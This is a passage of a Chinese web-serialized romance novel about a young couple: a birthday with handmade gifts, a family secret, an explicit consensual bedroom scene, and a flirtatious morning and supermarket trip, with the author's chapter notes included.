虞千绾隔着包装袋捏起的时候感觉很软,她一边好奇着一边拆,打开看到的时候委实被可爱到,眼睛亮亮的,“哇~好Q啊,一个小饺子,还有两只迷你的小脚。” 虞千绾将‘小饺子’一转,发现背后还有纽扣,“诶,这个小饺子是装东西的吗?这么小放什么呀?” “耳机。” 商恪景特意带了自己的耳机,从兜里掏出耳机盒,放到小饺子里展示给虞千绾看,“喏,就这样。” “救命,好可爱。” 看到可爱的东西,虞千绾声音都夹起了些,手指拨了拨小饺子的脚。 忽然想到什么,虞千绾笑容一顿,猛地盯住商恪景,“这不会是你亲手做的吧?” 商恪景眉头轻抬,明明白白的骄傲,“怎么了?不行吗?我手可是很巧的。” “行啊,当然行,这可太棒了。” 虞千绾很高兴,但又忍不住想“你给我准备了这么多这么好的礼物,你生日我可怎么办。” 他们认识太多年,互送过太多年的生日礼物了。 近两年礼物越来越难送,因为感觉很多东西从前都送过。 既不能重复又不能落俗套,难度实在很大。 “我现在啊,最想要的就是时间,我们单独待在一起什么都不想什么都不做只陪伴彼此的时间,但我们工作以后最缺的也是这样的时间了,所以和你在一起度过的时光就是我最最珍惜的礼物了。” 商恪景掰正虞千绾的脑袋,让她看着前面一堆没拆的礼物,“而且啊,这些都是后话,我生日还有四个月呢,不急。你这个寿星今天只需要开心,不要操心这些。” 虞千绾笑着点头,食指点过桌上的礼物,嘴里快速念叨着,“小公鸡点到谁我就选谁。” 手指定格,“——好了,就你了。” 她拿起,拆开。 商恪景眼睛压根没法从她的脸上移开。 他不知道怎么有人一举一动都这么可爱迷人。 只是看着,笑容就在无意识中加深。 先后拆出一个钩织包包和扭扭棒做成的发财树时,虞千绾才慢半拍反应过来,这些是她给商恪景看过的视频。 有些东西,商恪景做了不止一个,但为了凑够22个,他都分开包装。 里头也有些是他看到觉得适合虞千绾顺手买的。 总之,拆完全部的时候,虞千绾觉得自己幸福到不能自已。 心口仿佛一直在朝外吐着泡泡。 但礼物太多,虞千绾拆的又太精细。 光是看完这22个礼物,商恪景的午休时间就过去了大半。 虞千绾只能先摁下情绪和话语,同他吃饭。 饭吃到一半的时候,商恪景主动问:“你消息里说在这碰到了一个人,是谁?” 虞千绾看了眼时间,确定时间肯定够他吃完饭,她才道:“周既明。” 憋了很久,虞千绾也挺难受的,话一出口就带着上扬的激动。 商恪景对周既明的印象比虞千绾还差,神情几乎是瞬间就冷了下来,“学校那个物理系老师?” “他在篮球场和校外和你碰见就算了,现在怎么在这也能碰上?他是不是跟踪你。” “不不不。” 现在再去回想曾经种种,虞千绾什么都串起来了,顿觉昔日联想了一连串的自己有些好笑。 她冲着商恪景眨了眨眼,“你知道一定很会震惊的,但是!你答应我啊,这事除了和我讨论以外,你谁都不许说,尤其家里人,还有我姐,千万不能在她面前表现出你知道了的样子。” 商恪景一头雾水,不知道为什么虞千绾前面还在说周既明,后面就扯出这些,但听话点头。 虞千绾清了清嗓,放下筷子,忽然端坐起身,“在血缘上,周既明是小橙子的爸爸。” 完完全全意料之外的走向,商恪景刚还紧皱的神情一下就舒展了,接着,更匪夷所思地皱紧了,“……哈?” 虞千绾看着商恪景的反应,笑了几声后彻底没心思吃饭了,掐着点把这事大致给商恪景说了一通。 “虽然昭音姐当初没和周既明说就提了分手生了孩子,但是这都是昭音姐的自由,孩子是从她肚子里出来的,吃苦受罪的人也都是她。无论如何,周既明也不该在把你误认成昭音姐的时候那么丧失理智地掐住你的手。” 商恪景的反应和虞千绾听完姐姐说时一模一样,很是偏心,对虞昭音的不当行为迅速揭过轻轻放下,但对周既明的问题咬死不放。 虞千绾虽然心里绝对站在姐姐这边,但看着商恪景一本正经指责周既明的模样又觉好笑。 她没把炮友这种过于私密的事告诉商恪景,只说:“哎呀,反正现在误会解除了嘛,我们以后也没必要对周既明那么恶意揣测了。我姐现在似乎和他关系还行,他也温和了很多,不像初见那时一样了。” “我相信我姐处理事情的能力,她说没事应该就没事。只要周既明老老实实不来和我们抢小橙子,我觉得我们要是再碰到他,可以和他保持一个面上的礼貌。” 此刻的商恪景脑袋就像那会儿刚得知消息的虞千绾一样,被震惊得发麻发懵。 但他们俩自小就在哥哥姐姐的保护下成长,对哥哥姐姐的能力有百分百信任。 即便是这样的大事也总觉得能妥善处理好,尤其这人还是虞昭音,她在事业上和商知珩不分上下,但在情商上可比商知珩强多了。 商恪景和虞千绾都不约而同坚信虞昭音可以和周既明达成共识,不影响小橙子的成长- 傍晚。 虞千绾和提前下班的虞昭音先到了餐厅庆祝生日。 虞昭音因为昨天才回国,跟着放假一天倒时差很正常,但她没有选择放假。 不过为了虞千绾的生日特意调整过工作,所以今天没有太多重要安排,就下午有场会议,其余的事可以当天处理也可以明天处理,并不急,索性她就早些下班陪妹妹过生日了。 作为小实习生的商恪景没办法自己决定上下班时间,还得老老实实按部就班等到下班点才能赶来餐厅。 姐妹俩聊天期间,虞千绾正好问了一嘴虞昭音有关苏旎和商知珩的事,毕竟他们年纪差不多,虞千绾想姐姐保不齐知道些什么。 但很遗憾,虞昭音什么都不知道,她比商知珩大三岁。 三岁的年纪差在步入社会后不算什么,但在学生时代是一道很大的鸿沟。 是初中和高中、高中和大学的区别,所以虞昭音和商知珩的关系并不似虞千绾商恪景这么好,他们平常只会因为家里聚餐才见面,私底下压根不会特意约见。 虞千绾托腮,揶揄调笑,“说实话,我本来呢,还以为姐姐你和知珩哥都是一辈子不可能结婚的那种人。结果接二连三的,你们俩的桃花都冒出来了,桃花类型还都是之前没想过、以为你们肯定不会喜欢的那类,挺玄妙的感觉。” “住嘴啊,都敢调侃起你姐我了?” 虞昭音睐她眼,“别当你过生日我就不敢打你了。” “好害怕。” 虞千绾故意这么说,实则都要笑开了花。 因为从小到大,虞昭音就没真正意义上打过她一次,所以虞千绾压根不怕虞昭音说要打她这种话,无非口头上吓唬她呢。 桌下,虞昭音高跟鞋微抬,鞋尖踢了踢虞千绾小腿。 虞千绾反倒回抛了个媚眼过去,就好似在说——“被美女踢是我的荣幸。” 虞昭音摇头失笑,也只有这个妹妹才能让她如此了。 姐妹俩在一块笑聊了近一个小时,商恪景才匆匆忙忙赶到。 见虞昭音在喝红酒,商恪景自觉倒了半杯陪她一起喝。 虞千绾则抱着自己的果汁大口爽饮。 吃完晚饭聊好天后,虞昭音又带着虞千绾去了商场,任由虞千绾这个寿星狮子大开口买了好几件奢侈品。 商恪景就跟在后面帮姐妹俩提东西。 走完这些正常生日流程,时间已经来到九点多。 虞昭音也挺困的了,中午补的那点觉根本不够,加之有意识的留些时间给妹妹妹夫过二人世界,她便在商场门口主动提分开。 三人两车,就此驶向两个目的地。 一上车,商恪景就将脑袋歪靠在虞千绾肩上,眼睑半阖。 虞千绾摸了摸他的脸,轻声:“怎么了?酒劲上来了难受吗?” 商恪景摇了摇头,“没醉,也不难受,只是想和你挨近点。” 他对自己的酒量有数,不可能在虞千绾的生日还要她反过来照顾醉酒的他,也不可能在女朋友的姐姐面前失态。 虞千绾觉得商恪景应该是累了的,但他不想扫兴所以没说。 想了想,她把脑袋也一歪,挨在商恪景头侧。 两颗脑袋就这么静静依偎着休憩,缓缓充电。 在外面待了大半天,回到家后,两人第一时间都是洗澡。 虞千绾在主卧洗完澡出来时,商恪景已经早早在侧卧洗好躺在她床上了。 在一起同床共枕了一段时间,虞千绾完全对这幕习以为常了,也慢慢可以适应在家不穿内衣,虽然时不时还会有些羞,但比之前好多了。 睡在床上的商恪景看她出来,远远就冲她张开了双臂。 虞千绾走近,商恪景掀开被子。 虞千绾刚坐在床边斜下半边身子往他怀里靠,商恪景就挨了过来,位置恰好在她胸前那片。 虞千绾一臊,合理怀疑这人是故意的! 她抬手就把商恪景的脸推了推,但她躺好后他又压上来了,脸还一点点埋得更深,脑袋轻拱,含糊轻声说:“宝宝好软……浑身都软软的,抱着好舒服,也香香的。” 他声音有些哑,透着疲惫。 虞千绾很难在这样的情况下再狠心去推开他,只能无声纵着。 同睡一张床的这些日子,商恪景还算老实,大多时候真的就只是抱着她睡觉而已,虽然他总会抵到她,但他自己也控制不住,次数多了,虞千绾也就逐渐免疫了。 少数时候,就像现在,商恪景会赖在她身前占点小便宜。时而,手也会在接吻的时候不太老实乱动,会隔着薄薄一层布料轻轻剐蹭,抑或从布料边缘探入些许,但后者发生的次数少之又少。 商恪景仰起脸,“宝宝,生日快乐。” 忽然的乖顺,虞千绾下意识觉得他在为自己后续的恶劣行径铺垫,她没配合,反倒问:“怎么又说生日快乐?你今天已经说了很多遍了。” “因为这是我们交往后的第一个生日,意义不同。而且,我不仅要做第一个和你说生日快乐的人,也要做最后一个。” 商恪景眼神很真挚,虞千绾一时心虚语噎,感觉刚刚的自己在以小人之心度君子之腹。 于是在商恪景跟着吻上来时,她分外配合。 但吻着吻着,商恪景的手就不太对劲了,逐渐压到了她睡裙裙摆处。 一如她起初准确的第六感。 眉心一跳,虞千绾倏地睁开眼,按住了商恪景的手,乱着呼吸很急促也很直接的拒绝,“不可以。” 商恪景听得出她的语调,不是羞赧的口是心非。 在这种情况下,他立即就收回了手,没再朝里试探。 但面庞朝着虞千绾挨去,他想吻她,一方面是安抚她,一方面是让自己有些安全感。 “……不要。” 虞千绾双手一起抵在了他胸口,再次拒绝了他。 商恪景心头咯噔了下,只当刚刚的动作让虞千绾感到冒犯了,她不开心不想和他亲近了,他顿时有些慌乱。 从那夜之后住进主卧,商恪景一直都有意克制,但今夜,许是特殊日子的渲染,又或是喝了些酒,他脑子里不正经的念头确实有些多。 就在商恪景试图哄她的时候,虞千绾视线忽而下撇,顺着被他们身体撑起的被下空隙往内里瞄了瞄。 什么都没看到,她视线又回正,觑了觑商恪景的眼睛,眼睫眨动频率因为紧张加快。 她浑身力气一卸,又伏回了商恪景怀中,小声同他说:“你又好明显的硌到我了……” 被连连拒绝两次,商恪景正视她的情绪,第一时间后撤了些和她保持距离,尽量不抵到她,“对不起宝宝……” 虞千绾就像一拳打到棉花上,羞恼至极地掀眸瞪了他眼。 商恪景不明所以,但想着她好像不太高兴,虽然自己也不太情愿,可只能道:“那我……今晚回侧卧睡一晚?” 他话音刚落,胸口忽然被她隔着睡衣咬了一口,还不轻,商恪景登时发出倒抽气的痛嘶声。 怀里跟着传出嗔声:“商恪景你好烦。” 这句话是带着些撒娇意思在的,商恪景完全糊涂了,他想他可能晚上酒确实喝的有些多了,现在脑子不太转。 腰腹处,温软的素指自他衣摆钻入,毫无阻隔的贴着他的腹肌向上,抚过她刚刚咬过的位置,指腹打圈摩挲着。 商恪景呼吸一窒,身前人儿又不说话了,他拿捏不住,忍了半分钟,还是按耐不住和她亲近的心思,半环住她腰,“宝宝……你这样,我只会更明显的硌到你。” “喔……” “宝宝,不想的话,你最好把手拿出来。” 虞千绾手指跟着下移,商恪景以为她是听进去了,要从衣摆拿出来,结果她的手落到他小腹处时突然就不动了。 顿了须臾,她又忽然往下移了几厘米。 “宝宝。” 商恪景声息沉了些,垂眸看她。 虞千绾圆碌的眼睛微微上掀,看他一眼,垂下,再看他一眼。 渐渐,她耳根泛起些红晕,唇瓣动了又动才小小声说出自己想尝试已久的念头,“我、我也想摸摸你的……” 紧绷的思绪刹那间放下,商恪景鼻息间逸出声笑,“嗯?” “怎么了?不可以吗?” 虞千绾声调忽扬,佯装很有底气,实则眼神一个劲地乱瞟,完全一副小白兔装大灰狼的模样,“老是你占我便宜,不公平。” “可以。” 商恪景看入眼底,笑意缱绻,“随便宝宝摸。” 想着女孩子第一次主动提出这种话已经够不好意思了,后面的事可能也会很别扭,商恪景的大手便覆住了虞千绾手背,领着她挤开裤腰,一点点往下。 即便如此,虞千绾还是紧张,提出的人是她,真要触到时退缩的也是她。 她嘴上紧急嚷着“等、等等!” 手上却没等等的意思,若不是商恪景拉着,她怕是一下就挣出来不再继续下去了。 商恪景配合着停了一瞬,但不过三四秒的功夫,转而,他猛地压着那只柔软的小手向下。 热烫升腾而起,虞千绾眼睛一下嗔圆,脸颊爆火。 商恪景喉间漫出声性感沙哑的低哼,尾音吞没在虞千绾唇齿间——他封住了她的唇。 纠缠着她的舌,带动着她的指。 虞千绾完全忘记了接吻,注意力全部集中在一处,浑身无比僵硬,由着商恪景的一切动作。 在衣料内动作不太方便,商恪景没虞千绾这么面子薄,他主动脱去了。 虞千绾浑身都像火烧过,红红的,热热的。 但随着时间缓过来了一些后,她又耐不住好奇,偷偷去看。 商恪景的视线自虞千绾头顶落下,她的一切小动作都躲不过他的视线。 于是虞千绾发现,自己窥伺的瞬间,五指拢出的半圈又扩大了些。她震惊无措又难为情,下意识抬头去看商恪景就对上他充斥着情欲的眸,当即又想把头低下,可这次商恪景没遂她的愿,他箍住了她下颚,强势抬起了她的脸颊。 他急促地垂首又来吻她,近乎于啃噬般迫切。 他喘息声重到几乎要发不出声,声音在喉间滚了好多遍才吐出,“千绾,宝宝、宝宝……” 虞千绾听得羞耻,声音细若蚊吟,“你别、别说话了……” “喜欢你……” 他的唇贴在她耳廓,虞千绾可以清晰听出他的亢奋,也可以靠着触感感知到。 “好喜欢你。” 商恪景声音突然好哑好哑,还带着颤意。 虞千绾尚不懂这代表什么,但跟着,她腿面上就洒上了滚烫的潮湿,烫得她浑身一颤,下意识把腿往后缩。 商恪景却跟个畜生似的,翻身压上来,不让她躲开,他就是故意的,故意想要弄脏她。 馥郁的气息逐渐自被中漫出。 商恪景伏在虞千绾颈窝间,大口大口喘着粗气。 虞千绾万分羞窘,她想躲起来,可完全没地方躲,也动弹不得。 而且随便一动就可能蹭到他,他喉间又会发出那样不正经的声。 虞千绾怎么都没办法,索性闭着眼装死不动了,但肤温在不自控地上涨,暴露着她的心绪。 身上压着的人终于动了,他侧躺了下去,但又开始抵着她了…… 虞千绾抓住机会就想逃,可浑身乏力,她还没撑起身就被商恪景捞回了怀里,他再无顾虑,紧密抱着她,还带着些若有似无颤意的长指逐渐熟稔地朝下,“我也帮帮宝宝好不好?” “不要……” 很典型的一声口是心非。 商恪景自动修正,“嗯,好。” “不要~!” “宝宝刚刚看了我,我也看看你好不好?” “不行!” “可你看我了,我还没有看过你。” “那也不行。” “这不公平。” “我就是不讲公平。” 商恪景不说话了,开始用动作取代。 一番全方位被压制后,衣物散落一地。 香汗淋漓,虞千绾被折腾的彻底没了反抗的力气,瘫软在床上。 始作俑者跪立在她身前,半弓着腰去够床头柜上的纸巾,擦拭着湿到指根的食指和中指。 再去擦她骨肉匀停的细腿上沾染的污秽。 “宝宝好粉。” 近两个小时的没羞没臊,虞千绾已经羞破阈值,索性破罐子破摔,憋出句自以为杀伤力很强的话,“你也不赖。” 结果被厚脸皮的某人轻飘飘接下,“嗯,我们都很漂亮,很般配,宝宝。” 虞千绾失语,拽过被子一角,捂住自己通红的脸。 作者有话说:肥肥嘟一章~ 因为最近想把一个情节一个情节写完再发,所以没像之前那样日更,感觉3k字还是太少了,总容易把情节中断成几章。不过要是状态好写得多,我就日更啦[亲亲][亲亲]反正每章写完修好就放出来。 所以宝们看我断更的话不用担心我弃坑跑路哈,我超爱我笔下的每个孩子~不可能弃的~- 恪景送千绾的那些手工小制品,我发vb啦! 可以来vb看照片~ 超级可爱。 第95章 第 95 章【修】 “处男,体谅一下…… 翌日早上九十点钟。 虞千绾差不多睡饱, 依稀想醒,身体和意识没再那么沉的陷在睡梦中,对周遭开始隐约有些感知。 京市四月中旬的天气早已不冷,甚至气温偶尔会飙涨直逼夏季, 很快又跌下, 温度起起伏伏的不太稳定, 早晚温差也略大。 将近十点的温度无疑是适宜舒服的, 但被浑身都很热乎的人拥着就不是这么回事了。 他们挨得太近, 虞千绾感觉自己置于被下的身体,自肩到脚的那片都不断被热温侵袭着, 热的她皮肤隐隐想往外发汗。 秀眉轻折, 虞千绾迷迷糊糊翻了个身,下意识想和热源拉开距离, 但刚舒适不过半分钟,热源就又黏人地裹缠了上来。 这次搂得比之前还要紧, 下颚压在她发顶, 长腿前抵完全贴合着她膝弯的弯曲弧度。 虞千绾尚没多少意识,身体只是发乎本能地动了动,很轻的力度,并未能从男人的怀中挣出。 意识彻底消弭, 她没再动, 昏沉着又睡去。 约莫一刻钟后,虞千绾悠悠转醒,惺忪的眼微眯着掀开。 入眼并不太熟悉的环境使得她猛然惊怔, 眸中要醒不醒的混沌都在霎时间褪去变得清明。 刚欲撑起身又在转念间反应过来,这里是侧卧,他们没睡在主卧。 昨夜至凌晨的那么一番厮混后, 虞千绾和商恪景都不太想动,一个是累、没劲,一个是不想离开对方,总想挨着黏着腻着。 若是脏的只有床单,商恪景也就给换了,可被子也沾染到了。 大晚上的把床上用品全都换一遍很费劲,商恪景不太想弄,便偷了个懒,和虞千绾洗完澡后直接抱着她来了侧卧睡,主卧待他睡醒了再收拾。 保姆不是每天都过来打扫,正常一周来个两三次。 卧室的清扫频率就更不规律了,因为虞千绾居家办公,一天到晚基本都待在套卧里,不想在睡觉以及工作的时候被进来打扫的保姆扰到,所以卧室需要打扫时,虞千绾会先给保姆发消息。得到了确切的时间点,保姆才会过来。 如若不然,虞千绾凌晨一定不会放任商恪景把自己抱过来。 主卧的床凌乱不堪,床边衣物散落一地,但凡有眼睛的人都知道这里曾发生过什么,她哪里好意思把这样私密的一面暴露在外人面前。 念及此,夜间的一幕幕也同步浮现在虞千绾脑海里。 第一次看到他的摸到他的,还……虞千绾很难为情,面颊又开始控制不住的发烫,她拽着被子上拉掩住自己的下半张脸,只露出一半眼睛朝上。 同时,心跳也突突的怦然着,眸中似含上春波,点点加深,涟漪轻荡,逐渐荡开满眸。 想和商恪景亲近这事,虞千绾不是昨天才有的念头,先前每次商恪景主动过后,她都会暗暗后悔自己怎么不敢同等去撩他摸他。 不然总是她被占便宜,多吃亏?而且他都好意思那么干,她有什么不好意思的?何况他们是男女朋友,这些都是理所应当的。 虞千绾经常马后炮般在事后这么想,但一到下次实操,又无法付诸实践,然后再重复懊悔。 直至昨天,这种死循环终于被打破。 虽然期间虞千绾还是犯了怂想退缩,但商恪景攥着她的手强制性继续了下去。 真开了这个头,后续好像也就没那么难以进行下去,虞千绾渐在其中寻到别样的新奇和刺激感,这种互相给予互相满足的肉/体上的欢愉是她从不曾有过的,她隐隐有些食髓知味,亦觉他们的亲昵、契合程度又加深了一个度。 独自闷着浮想联翩了近十分钟,虞千绾才终于屏息动了动身子,小心翼翼微偏身子和脑袋去瞄身后的商恪景。 他抱她抱得太紧,她怕弄醒了他,所以动得很缓很慢。也怕一回头就撞入商恪景眼中发现他压根没在睡觉而在窥伺着她,难为情的劲尚没完全散去,她还没做好和他打照面的准备。 随着动作,被顶微微向下滑了些,搭在虞千绾鼻子中段的位置。 商恪景的面庞完整出现在视线中时,虞千绾松了口气。 他还睡着,并且看起来睡得很沉,短时间内没有要醒的意思。 自从去永誉工作后,商恪景每周六都会睡很久,九个小时打底,大抵是身体感觉到他的疲惫,自发将工作日少的睡眠时间补回来。 知道他累,虞千绾动作放得更轻更缓,脑袋朝他怀中又挨了挨,微仰着近距离看他的睡颜。 商恪景睡相很好,睡着后基本不太会有什么大幅动作,就保持着一个姿势,除非虞千绾动,他会下意识跟过来继续紧密搂抱着她。 好几次,虞千绾都以为商恪景醒了,结果并没有,她隔日和商恪景说,他也没有丁点记忆,已然是趋近于某种肌肉记忆。 商恪景的睫毛很黑很浓密,有着并不那么明显的上翘弧度,在眼下覆落浅浅的一层阴影。 在他不察的时间里,静静看着他的那双含着别扭的眸渐渐柔和宁静了下来。 没忍住,虞千绾抬指去触商恪景的眼睫顶端,动作很轻,只碰了两下就收了手。 这样的一个小动作,虞千绾唇角却在瞬间漾开了笑,眉眼间浸上难言的甜蜜,仿若刚经历过一场仅自己可见的冒险。 两手交叠压在脸下,虞千绾继续目不转睛看了商恪景好一会儿。 直到感觉保持着一个姿势,半边身子都有些麻了,她才没再看他,小心翼翼翻回身子,背对着他。 商恪景的手就环在虞千绾腰上,她如果想起床必须得拿开他的手,大概率会弄醒他。 想让他好好休息休息,虞千绾也不急着起床,便就侧躺着玩手机打发时间。 虽然手机已经处于静音状态了,但她打开手机的第一反应还是检查音量,摁到最小,防止发出任何声音扰到他的补眠。 就这么,时间又过去了半小时左右,虞千绾忽然感觉到身后的商恪景动了下,幅度似有不同,但背对着,虞千绾无法当即判断出他是要醒还是仍在睡着,只下意识顿住在手机屏幕上滑动的手指,一动不敢动,生怕他处于将醒未醒的时候被她动作惹醒。 后颈处,商恪景抵在此的脑袋蹭了蹭,环在她腰上的小臂也圈紧了些。 几秒之后,商恪景又不动了。 就在虞千绾以为商恪景又陷入睡梦中的时候,他忽然半支起了上身,探头自上而下瞧了她一眼。 虞千绾转眸看去。 两道视线碰上。 商恪景鼻息间登时逸出声笑音。 但因为人刚醒还困着,浑身没多少劲,他瞬间卸下撑起身子的力气倒回床上,脑袋轻车熟路埋回虞千绾颈后,拱了拱,沙哑的嗓黏糊糊地喊:“宝宝~” 听的人麻酥酥的,虞千绾声线不自觉也软下,“嗯?” 刚睡醒,人还有些迷糊。 商恪景宕机了几秒,才继续道:“……睡醒就能看到你好幸福。” 听着喜欢人这样直白的表达和依赖,虞千绾自然是欣喜且幸福的。 但此刻的情形又略有不同。 商恪景睡着,不正面面对他的时候,虞千绾几乎已经把昨夜的羞臊情绪消化得差不多了。 可他一醒,虞千绾的那些自以为压下的情绪霎时间全面复苏,限制级画面一帧帧难以控制地往脑袋里疯狂弹出,让她没法忽略。 这种别扭使得她一时间回不过话,让商恪景的情话掉了地。 “宝宝……” 颈后,商恪景脑袋又贴着蹭了蹭,浑不觉有甚的又说:“你醒多久了?” 他不单单只是说话,胳膊也在用力。 分明他们已经挨得很近很近了,他却好像仍觉不够,手上揽着虞千绾腰肢带着她身躯再往后,也就是他的方向挨近,他则向前一点点磨挤着,仿佛不愿他们之间有丁点罅隙般。 虞千绾被他弄得不好意思了,更重要的是,再这么下去,她很难不有感觉…… 右手急遽向下进到被中抓住他小臂,不让他再箍在她腰上带着她往后,身体跟着朝前挪了挪。 “宝宝……” 商恪景声音登时就有些哀怨了,手上捏了捏虞千绾腰侧软肉,“怎么这样?” “远离我,还不理我……” 虞千绾怕痒,腰部尤其。 商恪景冷不丁捏两下,她浑身就跟过电般猛地一扭,朝外逃得更多了。 身后传来商恪景轻笑的声。 虞千绾羞恼值蓦然攀至顶峰,她扭头嗔了他眼,带着些情绪丢下句“不想跟你讲话”,而后又转了回去不看他。 她神情太可爱,语气也完全是撒娇的调调,表露出的压根不是嘴上说的那般意思。 商恪景又笑了声,声音更加腻乎,就好像在哄一个小朋友,“怎么就不想和我讲话了呢?” 明知故问,虞千绾没理他。 商恪景主动往上贴,虞千绾继续往外让,和他保持距离,不给他贴得太近。 但床拢共就这么大,两个人你挪一点我跟一点的,很快就逼近床沿。 再挪一点就要掉到地上,虞千绾避无可避,只得在和商恪景拉扯间半推半就的被他转过身子。 怕她真掉地上摔着,商恪景抱着虞千绾往后退了一大截,回到床中央。 而后继续不厌其烦地笑眯眯看着虞千绾问:“怎么了宝宝?为什么不想和我讲话?” 每次见商恪景如此,虞千绾都很忿忿,很心生不平。 恼自己没出息,怎么老事后这么害羞。 也恼他怎么脸皮这么厚,衬得好似只有她一人耿耿于怀。 既羞又恼的,虞千绾伸手就去掐商恪景的脸,将他两颊朝两侧拉了拉。 商恪景纵着,敛着眸看她,眸中含笑更甚。 看着他被自己扯出的逗趣样,虞千绾顿觉好笑,有些破功,解了些气才说:“因为你是个流氓。” 昨晚先是弄在她腿上,后来又弄到她身上,那么多……简直恶劣至极。 后面这些话,虞千绾只在心里暗暗腹诽,压根没说出来,商恪景却通过她的神情在瞬间了然了。 他扬了扬眉,“宝宝,你知道的,你是我的初恋,在你之前我一直都是自己解决的,第一次有人帮我确实有些激动难以克制。处男,体谅一下,攒了很多年。” 商恪景说这话时表情很微妙也很矛盾,他本意是想装可怜做个小绿茶的,但那般感觉实在太爽太愉悦,爽到根本装不出不高兴。 于是短短几秒的时间,他面上就出现了极尽割裂的神情,两相对比更显不正经。 尤其是“处男”这两个字说出的时候,他看起来格外引以为傲。 简直厚颜无耻。 虞千绾面臊得厉害,但短时间内,她委实没法像商恪景这样坦然说出。 说不出,就只能选择躲闪,选择岔开话题。 虞千绾没办法在和商恪景聊着这些还安然躺在一张床上,对话黄黄的,氛围黄黄的,脑子里也黄黄的。 她急遽撑坐起身,“我要起床了。” “别,再抱一会儿~” 商恪景双手齐齐揽上虞千绾的腰,想将她拽回来。 “不可以。” 虞千绾毫不留情伸手去推他的脸,把他推远,掀开被子就下了床,头也不回地径直离开侧卧。 商恪景看着虞千绾近乎于落荒而逃的背影,喉间连连溢出笑- 即便做了心理准备,可推开主卧房门的那瞬,虞千绾面前还是仿若卷过了短暂的一片热温,面如火烧。 虽然过去了一夜,但门窗紧闭,空气不流通,主卧内还萦绕着淡淡的异样气味。 作为当事人,虞千绾当然知道这气味从何而来。 不远处的地面上还丢弃着她淡青色的内裤……商恪景的就距她的堪堪几厘米。 这一幕疯狂刺激着她的视觉。 身后传来起居室的门被打开的声,是商恪景跟来了。 虞千绾没再僵在原地,赶忙抬脚快步拾起自己的内裤丢入专门放贴身衣物的脏衣篮中。 她靠着脚步声可以判断,距离越来越近的商恪景看到了她的小动作。 于是她更不好意思回头直视他了,直奔洗手台前故作淡定去挤牙膏。 商恪景什么都没说,面上看起来也很自如地从杯架上拿下他们的情侣款刷牙杯,分别倒了水后放在自己和她的手边。 虞千绾在商恪景低头时借由面前的镜子窥了眼商恪景。 很微妙的感觉,即便他此刻只是做着很日常的事,并无不正经,但他这个人在这,这抹颀长身形立在这,她就感觉空气似被汲取走了大半,呼吸莫名放缓。 洗漱好后,虞千绾含混丢下句“快点收拾卧室”就先一步离开洗手间去了起居室。 后面具体的事,虞千绾就不知道了。 她一脚踩着拖鞋,一腿曲放在沙发上,故作镇定拿着遥控器挑选电视剧。 过了几分钟,商恪景还没出来,虞千绾就猜测,他应该是听话在收拾卧室,否则肯定早洗漱好出来找她了。 她一边将电视音量调高试图以外音影响自身,不让自己再去多想昨夜旖旎,一边又矛盾地不自觉竖起耳朵去细听屋内的动静,关切商恪景的一举一动。 余光扫到商恪景从卧室出来,虞千绾赶忙定睛佯装看剧看得很认真,压根没有很在意他在做什么。 但在商恪景逐步行进,准备坐在她身边的瞬间,虞千绾突然就觉得自己装不下去了,近乎弹坐般倏然起了身,“我们、我们去逛超市吧!” 商恪景将要坐下的身形一顿,缓缓直起,眼神略显困惑,“现在吗?不等吃完饭再去?饿不饿?” 虽然他们不时就喜欢携手去逛超市,但刚睡醒没多久就去的情况还是比较少见。 “哎呀,就现在去吧,正好可以买些吃的,忽然不想吃阿姨做的家常菜了。” 虞千绾不由分说拉着商恪景胳膊回衣帽间更换外出衣物。 她没办法再待在这个空间里,很轻易就想到昨晚,几乎要被暧昧熏得喘不上气,她只想赶快换个新环境。 去到别墅区里的超市后,氛围确实缓解不少,这里空间更大,人也更多,不局限于他们两个,心思愈发清明澄澈不再那么少儿不宜了。 两个人都太了解对方,在靠近自己手边看到什么对方喜欢的,还不需对方开口就会先帮其拿下。 日复一日年复一年相处培养出的了解和默契,这种日常温馨感彻底冲去了虞千绾脑袋里那点残留的不正经。 直到—— 虞千绾纠结于两种不同味道的牙膏时,身侧商恪景忽然杵了杵她,“宝宝,我可以去那逛逛吗?” “哪里?” “那。” 他们左手边的货架较高,会完全遮挡住视线看不到后面摆放着什么,但右手边的货架低些,能露出后面的货架上面两排。商恪景朝着那里抬了抬下颚示意。 虞千绾顺着看去,第一眼,她没瞧出那是什么。 但再定睛一瞧就意识到了,那是避孕套,其中一款的国民度很高,在网上也有很多广告,外包装让她很眼熟。 怪不得他去之前还特意问问她的意见,而不是直接说他去买个东西让她等等…… 商恪景问得隐晦,但他们心里都无比清楚这个答案后面代表着什么。 虞千绾竭力装出没看出那上面摆的是什么,视线回落到身前的牙膏上,“你去呗,买个东西而已嘛,我就在这等你。” 商恪景顿了顿,似乎想要说什么,但最后只点了点头说“好。” 一分钟左右,他就回来了。 两手拿着四盒,虞千绾瞄到时双眸难自控地睁大,惊愕于他一上来就买这么多…… 商恪景没有瞒着她的意思,当着她的面把东西放入了购物推车内。 多余的话他没说,虞千绾也没问。 两个人保持这个状态几分钟后,商恪景确定虞千绾绝对看到了他刚刚买的是什么以后,俯身凑到她耳畔轻声解释:“我没用过这东西,不知道哪种好用,而且看外包装上写的每盒数量很少,所以买了几盒不同品牌的。” 那种熟悉的,面如火烧的感觉又袭回,虞千绾偏开视线,嘴硬,“……跟我说这个干嘛,你自己的东西,我又没有要用……” 商恪景含笑,“哦。” “没关系,我只是这么说。” 虞千绾没办法看他,也没办法出声,否则自己恐会瞬间破功。 于是她习惯性侧手就去掐了下商恪景的腰。 商恪景痛嘶了声,但语调分明更上扬了,“宝宝,我说我自己的东西,你掐我干什么?” 虞千绾毫无底气但理直气壮,“你管我,我就掐。” “宝宝你怎么不看着我掐?” “我熟能生巧,不需要看。” 看着虞千绾红起的耳根,商恪景失笑,没再接下去。 可惜,她没看他。 不然会发现他耳朵也微微发红。 话语的对答如流不过是做了很久的心理建设罢了。 作者有话说:[烟花][烟花][烟花]元旦快乐~《 》 95-98 第96章 第 96 章 “那就吃吃宝宝这里”…… 当天傍晚, 窗外天色隐隐有些灰沉时,虞千绾就开始紧张了。 黑夜彻底到来后,虞千绾身心更是躁得厉害,但面上不想表现出来, 便装得若无其事, 以工作之名在起居室待着, 拖延着时间不立刻回卧室睡觉。 嘉澍旗下最近有个大品牌的新品将要发布, 虞千绾自然也得加入宣传当中。 半周前, 她特意和工作团队一起去往工厂拍摄了新品的部分制作过程和周围环境,也采访了几位专家。 这种专业性强且较为枯燥的内容很难让大多网友看进去, 极考验剪辑。 商恪景知道这事, 所以看到虞千绾大晚上用功也没多想旁的,只当她最近花费了太多时间在过生日上, 现在生日过完想压榨时间赶赶进度。 